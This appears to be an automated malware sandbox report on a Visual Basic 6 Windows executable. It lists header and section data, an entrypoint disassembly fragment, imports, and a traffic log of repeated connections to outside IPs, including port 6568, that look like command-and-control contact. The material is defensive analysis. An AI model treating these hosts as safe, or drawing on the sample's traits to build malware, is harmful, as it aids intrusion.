Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	8c16c795b57934183422be5f6df7d891

Entrypoint Preview

Instruction
push 00403ADCh
call 00007F294CC720F3h
add byte ptr [eax], al
dec eax
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax+00h], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push edi
or byte ptr [edx-3Bh], bh
xchg byte ptr [edx], bl
hlt
inc edi
test al, FBh
xchg eax, esp
std
jp 00007F294CC720FFh
xchg eax, ebx
hlt
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax], eax
add byte ptr [eax], al
iretw
adc dword ptr [edi+7250000Ch], esi
outsd
push 00000065h
arpl word ptr [ecx+esi+00h], si
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00000000h], dl
add byte ptr [eax], al
add byte ptr [edx], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], al
add byte ptr [edi-5Fh], bh
insb
in eax, dx
int3
mov ah, F9h
dec ebx
mov ah, 26h
or ebx, esi
add ebx, ecx
jle 00007F294CC72083h
add dword ptr [eax], eax
add byte ptr [eax], al
mov al, byte ptr [B0000000h]
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], al
add byte ptr [esp+esi*2+00h], ch
add byte ptr [ecx], al
and byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], ah
and byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebp+45h], dh
js 00007F294CC72159h
popad
je 00007F294CC72165h
push 00280000h
add byte ptr [eax], al
and byte ptr [eax], al
inc esp
into
jne 00007F294CC720DDh
not byte ptr [ebx+13B942C8h]
push esp
push ds
lea ebp, dword ptr [edx-78h]
insb
pop ds
mov bl, DAh
mov ebx, 4A9AD4DAh
test dword ptr [ebx], esi
sbb al, 68h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x198f4	0x28	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1d000	0x13f0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x228	0x20
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x220	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x191d4	0x1a000	False	0.35633263221153844	data	5.734799312113526	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.data	0x1b000	0x180c	0x1000	False	0.00634765625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x1d000	0x13f0	0x2000	False	0.1502685546875	data	3.550600360706216	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x1d130	0xcd0	dBase IV DBT of @.DBF, block length 3072, next free block index 40, next free block 4232066556, next used block 905723957
RT_GROUP_ICON	0x1de00	0x14	data
RT_VERSION	0x1de14	0x1ec	data	English	United States
RT_MANIFEST	0x1e000	0x3e7	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States

Imports

DLL

Import

MSVBVM60.DLL

EVENT_SINK_GetIDsOfNames, _CIcos, _adj_fptan, __vbaStrI4, __vbaVarVargNofree, __vbaFreeVar, __vbaLenBstr, __vbaLateIdCall, __vbaPut3, __vbaEnd, __vbaFreeVarList, _adj_fdiv_m64, EVENT_SINK_Invoke, __vbaRaiseEvent, __vbaFreeObjList, __vbaStrErrVarCopy, _adj_fprem1, __vbaRecAnsiToUni, __vbaCopyBytes, __vbaStrCat, __vbaLsetFixstr, __vbaRecDestruct, __vbaSetSystemError, __vbaHresultCheckObj, __vbaNameFile, _adj_fdiv_m32, Zombie_GetTypeInfo, __vbaAryDestruct, __vbaExitProc, __vbaOnError, __vbaObjSet, _adj_fdiv_m16i, __vbaObjSetAddref, _adj_fdivr_m16i, __vbaFpR4, __vbaStrFixstr, _CIsin, __vbaChkstk, __vbaFileClose, EVENT_SINK_AddRef, __vbaGenerateBoundsError, __vbaGet3, __vbaStrCmp, __vbaGet4, __vbaPutOwner3, __vbaAryConstruct2, __vbaVarTstEq, __vbaI2I4, DllFunctionCall, __vbaFpUI1, __vbaRedimPreserve, __vbaStrR4, _adj_fpatan, __vbaLateIdCallLd, Zombie_GetTypeInfoCount, __vbaRedim, __vbaRecUniToAnsi, EVENT_SINK_Release, __vbaNew, __vbaUI1I2, _CIsqrt, EVENT_SINK_QueryInterface, __vbaExceptHandler, __vbaStrToUnicode, _adj_fprem, _adj_fdivr_m64, __vbaFPException, __vbaGetOwner3, __vbaUbound, __vbaFileSeek, _CIlog, __vbaErrorOverflow, __vbaFileOpen, __vbaNew2, __vbaInStr, _adj_fdiv_m32i, _adj_fdivr_m32i, __vbaStrCopy, __vbaI4Str, __vbaFreeStrList, _adj_fdivr_m32, _adj_fdiv_r, __vbaI4Var, __vbaAryLock, __vbaVarAdd, __vbaVarDup, __vbaStrToAnsi, __vbaFpI2, __vbaFpI4, __vbaLateMemCallLd, _CIatan, __vbaStrMove, __vbaCastObj, __vbaR8IntI4, _allmul, _CItan, __vbaAryUnlock, _CIexp, __vbaFreeObj, __vbaFreeStr

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 16, 2022 23:57:19.587668896 CEST	49768	443	192.168.2.5	185.229.191.39
Jul 16, 2022 23:57:19.587721109 CEST	443	49768	185.229.191.39	192.168.2.5
Jul 16, 2022 23:57:19.587805033 CEST	49768	443	192.168.2.5	185.229.191.39
Jul 16, 2022 23:57:19.588999033 CEST	49768	443	192.168.2.5	185.229.191.39
Jul 16, 2022 23:57:19.589030027 CEST	443	49768	185.229.191.39	192.168.2.5
Jul 16, 2022 23:57:19.653134108 CEST	443	49768	185.229.191.39	192.168.2.5
Jul 16, 2022 23:57:19.653227091 CEST	49768	443	192.168.2.5	185.229.191.39
Jul 16, 2022 23:57:19.654544115 CEST	49768	443	192.168.2.5	185.229.191.39
Jul 16, 2022 23:57:19.654560089 CEST	443	49768	185.229.191.39	192.168.2.5
Jul 16, 2022 23:57:19.654761076 CEST	443	49768	185.229.191.39	192.168.2.5
Jul 16, 2022 23:57:19.655201912 CEST	49768	443	192.168.2.5	185.229.191.39
Jul 16, 2022 23:57:19.961786032 CEST	49768	443	192.168.2.5	185.229.191.39
Jul 16, 2022 23:57:19.993743896 CEST	49769	80	192.168.2.5	49.12.130.236
Jul 16, 2022 23:57:20.018194914 CEST	80	49769	49.12.130.236	192.168.2.5
Jul 16, 2022 23:57:20.018381119 CEST	49769	80	192.168.2.5	49.12.130.236
Jul 16, 2022 23:57:20.019409895 CEST	49769	80	192.168.2.5	49.12.130.236
Jul 16, 2022 23:57:20.044123888 CEST	80	49769	49.12.130.236	192.168.2.5
Jul 16, 2022 23:57:20.045289040 CEST	80	49769	49.12.130.236	192.168.2.5
Jul 16, 2022 23:57:20.045331955 CEST	80	49769	49.12.130.236	192.168.2.5
Jul 16, 2022 23:57:20.045465946 CEST	49769	80	192.168.2.5	49.12.130.236
Jul 16, 2022 23:57:20.061772108 CEST	49769	80	192.168.2.5	49.12.130.236
Jul 16, 2022 23:57:20.086858034 CEST	80	49769	49.12.130.236	192.168.2.5
Jul 16, 2022 23:57:20.086901903 CEST	80	49769	49.12.130.236	192.168.2.5
Jul 16, 2022 23:57:20.087076902 CEST	49769	80	192.168.2.5	49.12.130.236
Jul 16, 2022 23:57:20.558908939 CEST	49769	80	192.168.2.5	49.12.130.236
Jul 16, 2022 23:57:20.584897041 CEST	80	49769	49.12.130.236	192.168.2.5
Jul 16, 2022 23:57:20.630769014 CEST	49771	6568	192.168.2.5	92.223.88.41
Jul 16, 2022 23:57:20.661362886 CEST	6568	49771	92.223.88.41	192.168.2.5
Jul 16, 2022 23:57:20.661483049 CEST	49771	6568	192.168.2.5	92.223.88.41
Jul 16, 2022 23:57:20.662384033 CEST	49771	6568	192.168.2.5	92.223.88.41
Jul 16, 2022 23:57:20.693418980 CEST	6568	49771	92.223.88.41	192.168.2.5
Jul 16, 2022 23:57:20.693470955 CEST	6568	49771	92.223.88.41	192.168.2.5
Jul 16, 2022 23:57:20.693557024 CEST	6568	49771	92.223.88.41	192.168.2.5
Jul 16, 2022 23:57:20.693645954 CEST	49771	6568	192.168.2.5	92.223.88.41
Jul 16, 2022 23:57:20.713943958 CEST	49771	6568	192.168.2.5	92.223.88.41
Jul 16, 2022 23:57:20.745944977 CEST	6568	49771	92.223.88.41	192.168.2.5
Jul 16, 2022 23:57:20.745971918 CEST	6568	49771	92.223.88.41	192.168.2.5
Jul 16, 2022 23:57:20.746057987 CEST	49771	6568	192.168.2.5	92.223.88.41
Jul 16, 2022 23:57:21.089333057 CEST	49771	6568	192.168.2.5	92.223.88.41
Jul 16, 2022 23:57:21.122070074 CEST	6568	49771	92.223.88.41	192.168.2.5
Jul 16, 2022 23:57:22.033885956 CEST	49775	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:22.061877012 CEST	80	49775	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:22.062598944 CEST	49775	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:22.092885971 CEST	49775	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:22.120719910 CEST	80	49775	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:22.120779037 CEST	80	49775	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:22.120810986 CEST	80	49775	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:22.120866060 CEST	49775	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:22.120892048 CEST	49775	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:22.127844095 CEST	49775	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:22.128345966 CEST	49775	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:22.158389091 CEST	80	49775	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:22.158479929 CEST	49775	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:24.340928078 CEST	49791	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:24.367680073 CEST	80	49791	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:24.370212078 CEST	49791	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:24.371624947 CEST	49791	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:24.399090052 CEST	80	49791	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:24.399126053 CEST	80	49791	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:24.399141073 CEST	80	49791	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:24.399215937 CEST	49791	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:24.399255991 CEST	49791	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:24.401552916 CEST	49791	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:24.401642084 CEST	49791	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:26.810316086 CEST	49805	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:26.838494062 CEST	80	49805	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:26.838624954 CEST	49805	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:26.842829943 CEST	49805	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:26.869575024 CEST	80	49805	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:26.869627953 CEST	80	49805	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:26.869663000 CEST	80	49805	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:26.869697094 CEST	49805	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:26.869724035 CEST	49805	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:26.870358944 CEST	49805	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:26.870461941 CEST	49805	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:26.898906946 CEST	80	49805	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:26.898973942 CEST	49805	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:27.086255074 CEST	49807	443	192.168.2.5	49.12.130.236
Jul 16, 2022 23:57:27.086291075 CEST	443	49807	49.12.130.236	192.168.2.5
Jul 16, 2022 23:57:27.088084936 CEST	49807	443	192.168.2.5	49.12.130.236
Jul 16, 2022 23:57:27.088820934 CEST	49807	443	192.168.2.5	49.12.130.236
Jul 16, 2022 23:57:27.088836908 CEST	443	49807	49.12.130.236	192.168.2.5
Jul 16, 2022 23:57:27.144396067 CEST	443	49807	49.12.130.236	192.168.2.5
Jul 16, 2022 23:57:27.144514084 CEST	49807	443	192.168.2.5	49.12.130.236
Jul 16, 2022 23:57:27.145298004 CEST	49807	443	192.168.2.5	49.12.130.236
Jul 16, 2022 23:57:27.145311117 CEST	443	49807	49.12.130.236	192.168.2.5
Jul 16, 2022 23:57:27.145641088 CEST	443	49807	49.12.130.236	192.168.2.5
Jul 16, 2022 23:57:27.145721912 CEST	49807	443	192.168.2.5	49.12.130.236
Jul 16, 2022 23:57:27.497560978 CEST	49807	443	192.168.2.5	49.12.130.236
Jul 16, 2022 23:57:27.555247068 CEST	49810	80	192.168.2.5	49.12.130.236
Jul 16, 2022 23:57:27.582046986 CEST	80	49810	49.12.130.236	192.168.2.5
Jul 16, 2022 23:57:27.582139015 CEST	49810	80	192.168.2.5	49.12.130.236
Jul 16, 2022 23:57:27.582989931 CEST	49810	80	192.168.2.5	49.12.130.236
Jul 16, 2022 23:57:27.609106064 CEST	80	49810	49.12.130.236	192.168.2.5
Jul 16, 2022 23:57:27.611453056 CEST	80	49810	49.12.130.236	192.168.2.5
Jul 16, 2022 23:57:27.611495018 CEST	80	49810	49.12.130.236	192.168.2.5
Jul 16, 2022 23:57:27.611560106 CEST	49810	80	192.168.2.5	49.12.130.236
Jul 16, 2022 23:57:27.631666899 CEST	49810	80	192.168.2.5	49.12.130.236
Jul 16, 2022 23:57:27.659316063 CEST	80	49810	49.12.130.236	192.168.2.5
Jul 16, 2022 23:57:27.659358978 CEST	80	49810	49.12.130.236	192.168.2.5
Jul 16, 2022 23:57:27.659415960 CEST	49810	80	192.168.2.5	49.12.130.236
Jul 16, 2022 23:57:27.998550892 CEST	49810	80	192.168.2.5	49.12.130.236
Jul 16, 2022 23:57:28.022267103 CEST	80	49810	49.12.130.236	192.168.2.5
Jul 16, 2022 23:57:28.068332911 CEST	49813	6568	192.168.2.5	49.12.130.236
Jul 16, 2022 23:57:28.091809034 CEST	6568	49813	49.12.130.236	192.168.2.5
Jul 16, 2022 23:57:28.091933966 CEST	49813	6568	192.168.2.5	49.12.130.236
Jul 16, 2022 23:57:28.093122005 CEST	49813	6568	192.168.2.5	49.12.130.236
Jul 16, 2022 23:57:28.116466045 CEST	6568	49813	49.12.130.236	192.168.2.5
Jul 16, 2022 23:57:28.118195057 CEST	6568	49813	49.12.130.236	192.168.2.5
Jul 16, 2022 23:57:28.118237019 CEST	6568	49813	49.12.130.236	192.168.2.5
Jul 16, 2022 23:57:28.118328094 CEST	49813	6568	192.168.2.5	49.12.130.236
Jul 16, 2022 23:57:28.130727053 CEST	49813	6568	192.168.2.5	49.12.130.236
Jul 16, 2022 23:57:28.154280901 CEST	6568	49813	49.12.130.236	192.168.2.5
Jul 16, 2022 23:57:28.154354095 CEST	6568	49813	49.12.130.236	192.168.2.5
Jul 16, 2022 23:57:28.154453993 CEST	49813	6568	192.168.2.5	49.12.130.236
Jul 16, 2022 23:57:28.646300077 CEST	49813	6568	192.168.2.5	49.12.130.236
Jul 16, 2022 23:57:28.669857979 CEST	6568	49813	49.12.130.236	192.168.2.5
Jul 16, 2022 23:57:29.496061087 CEST	49820	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:29.525816917 CEST	80	49820	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:29.527712107 CEST	49820	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:29.528261900 CEST	49820	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:29.558032036 CEST	80	49820	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:29.558214903 CEST	80	49820	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:29.558394909 CEST	49820	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:29.558530092 CEST	80	49820	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:29.558582067 CEST	49820	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:29.560656071 CEST	49820	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:29.560672045 CEST	49820	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:29.591238976 CEST	80	49820	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:29.591353893 CEST	49820	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:33.800137997 CEST	49832	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:33.828110933 CEST	80	49832	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:33.828211069 CEST	49832	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:33.892160892 CEST	49832	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:33.918677092 CEST	80	49832	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:33.918724060 CEST	80	49832	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:33.918744087 CEST	80	49832	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:33.918807030 CEST	49832	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:33.918864012 CEST	49832	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:33.934715033 CEST	49832	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:33.934757948 CEST	49832	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:40.956829071 CEST	49845	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:40.985815048 CEST	80	49845	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:40.986332893 CEST	49845	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:40.987526894 CEST	49845	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:41.016335964 CEST	80	49845	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:41.016365051 CEST	80	49845	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:41.016396046 CEST	80	49845	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:41.016458988 CEST	49845	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:41.016514063 CEST	49845	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:41.017354012 CEST	49845	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:41.017386913 CEST	49845	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:41.045758963 CEST	80	49845	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:41.051148891 CEST	49845	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:42.433160067 CEST	49851	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:42.460649967 CEST	80	49851	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:42.463171005 CEST	49851	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:42.486418009 CEST	49851	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:42.513303041 CEST	80	49851	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:42.513360023 CEST	80	49851	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:42.513382912 CEST	80	49851	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:42.514276981 CEST	49851	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:42.514652967 CEST	49851	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:42.514714003 CEST	49851	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:43.787878990 CEST	49855	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:43.814558983 CEST	80	49855	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:43.815093040 CEST	49855	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:43.815694094 CEST	49855	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:43.842322111 CEST	80	49855	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:43.842459917 CEST	80	49855	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:43.842511892 CEST	80	49855	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:43.842607975 CEST	49855	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:43.843878984 CEST	49855	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:43.843913078 CEST	49855	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:44.531563997 CEST	49856	443	192.168.2.5	49.12.130.236
Jul 16, 2022 23:57:44.531618118 CEST	443	49856	49.12.130.236	192.168.2.5
Jul 16, 2022 23:57:44.531718016 CEST	49856	443	192.168.2.5	49.12.130.236
Jul 16, 2022 23:57:44.532871962 CEST	49856	443	192.168.2.5	49.12.130.236
Jul 16, 2022 23:57:44.532902002 CEST	443	49856	49.12.130.236	192.168.2.5
Jul 16, 2022 23:57:44.585697889 CEST	443	49856	49.12.130.236	192.168.2.5
Jul 16, 2022 23:57:44.585865974 CEST	49856	443	192.168.2.5	49.12.130.236
Jul 16, 2022 23:57:44.586895943 CEST	49856	443	192.168.2.5	49.12.130.236
Jul 16, 2022 23:57:44.586913109 CEST	443	49856	49.12.130.236	192.168.2.5
Jul 16, 2022 23:57:44.587176085 CEST	443	49856	49.12.130.236	192.168.2.5
Jul 16, 2022 23:57:44.587249041 CEST	49856	443	192.168.2.5	49.12.130.236
Jul 16, 2022 23:57:45.213696003 CEST	49856	443	192.168.2.5	49.12.130.236
Jul 16, 2022 23:57:45.247277975 CEST	49857	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:45.266661882 CEST	49858	80	192.168.2.5	92.223.88.41
Jul 16, 2022 23:57:45.273992062 CEST	80	49857	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:45.274081945 CEST	49857	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:45.276844025 CEST	49857	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:45.295372009 CEST	80	49858	92.223.88.41	192.168.2.5
Jul 16, 2022 23:57:45.295486927 CEST	49858	80	192.168.2.5	92.223.88.41
Jul 16, 2022 23:57:45.296717882 CEST	49858	80	192.168.2.5	92.223.88.41
Jul 16, 2022 23:57:45.303518057 CEST	80	49857	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:45.303544044 CEST	80	49857	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:45.303558111 CEST	80	49857	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:45.303605080 CEST	49857	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:45.303633928 CEST	49857	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:45.306390047 CEST	49857	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:45.306464911 CEST	49857	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:45.327656984 CEST	80	49858	92.223.88.41	192.168.2.5
Jul 16, 2022 23:57:45.329350948 CEST	80	49858	92.223.88.41	192.168.2.5
Jul 16, 2022 23:57:45.329385042 CEST	80	49858	92.223.88.41	192.168.2.5
Jul 16, 2022 23:57:45.329456091 CEST	49858	80	192.168.2.5	92.223.88.41
Jul 16, 2022 23:57:45.335033894 CEST	80	49857	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:45.335119009 CEST	49857	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:45.346925020 CEST	49858	80	192.168.2.5	92.223.88.41
Jul 16, 2022 23:57:45.377835035 CEST	80	49858	92.223.88.41	192.168.2.5
Jul 16, 2022 23:57:45.377926111 CEST	80	49858	92.223.88.41	192.168.2.5
Jul 16, 2022 23:57:45.377993107 CEST	49858	80	192.168.2.5	92.223.88.41
Jul 16, 2022 23:57:45.774416924 CEST	49858	80	192.168.2.5	92.223.88.41
Jul 16, 2022 23:57:45.804625034 CEST	80	49858	92.223.88.41	192.168.2.5
Jul 16, 2022 23:57:45.820558071 CEST	49859	6568	192.168.2.5	49.12.130.236
Jul 16, 2022 23:57:45.850728989 CEST	6568	49859	49.12.130.236	192.168.2.5
Jul 16, 2022 23:57:45.850909948 CEST	49859	6568	192.168.2.5	49.12.130.236
Jul 16, 2022 23:57:45.856496096 CEST	49859	6568	192.168.2.5	49.12.130.236
Jul 16, 2022 23:57:45.882639885 CEST	6568	49859	49.12.130.236	192.168.2.5
Jul 16, 2022 23:57:45.884578943 CEST	6568	49859	49.12.130.236	192.168.2.5
Jul 16, 2022 23:57:45.884644985 CEST	6568	49859	49.12.130.236	192.168.2.5
Jul 16, 2022 23:57:45.884711027 CEST	49859	6568	192.168.2.5	49.12.130.236
Jul 16, 2022 23:57:45.904032946 CEST	49859	6568	192.168.2.5	49.12.130.236
Jul 16, 2022 23:57:45.929431915 CEST	6568	49859	49.12.130.236	192.168.2.5
Jul 16, 2022 23:57:45.929461002 CEST	6568	49859	49.12.130.236	192.168.2.5
Jul 16, 2022 23:57:45.929529905 CEST	49859	6568	192.168.2.5	49.12.130.236
Jul 16, 2022 23:57:46.243408918 CEST	49859	6568	192.168.2.5	49.12.130.236
Jul 16, 2022 23:57:46.270082951 CEST	6568	49859	49.12.130.236	192.168.2.5
Jul 16, 2022 23:57:46.698084116 CEST	49862	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:46.729646921 CEST	80	49862	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:46.729914904 CEST	49862	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:46.730978966 CEST	49862	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:46.758614063 CEST	80	49862	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:46.758766890 CEST	80	49862	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:46.758783102 CEST	80	49862	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:46.758825064 CEST	49862	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:46.758850098 CEST	49862	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:46.787581921 CEST	49862	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:46.787746906 CEST	49862	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:48.065171003 CEST	49863	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:48.092658043 CEST	80	49863	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:48.092890978 CEST	49863	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:48.095566988 CEST	49863	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:48.122440100 CEST	80	49863	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:48.122476101 CEST	80	49863	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:48.122550964 CEST	80	49863	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:48.122554064 CEST	49863	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:48.122637987 CEST	49863	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:48.164166927 CEST	49863	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:48.164211035 CEST	49863	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:48.192734003 CEST	80	49863	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:48.194945097 CEST	49863	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:49.497435093 CEST	49864	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:49.523894072 CEST	80	49864	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:49.524260044 CEST	49864	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:49.525136948 CEST	49864	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:49.551436901 CEST	80	49864	142.250.102.82	192.168.2.5
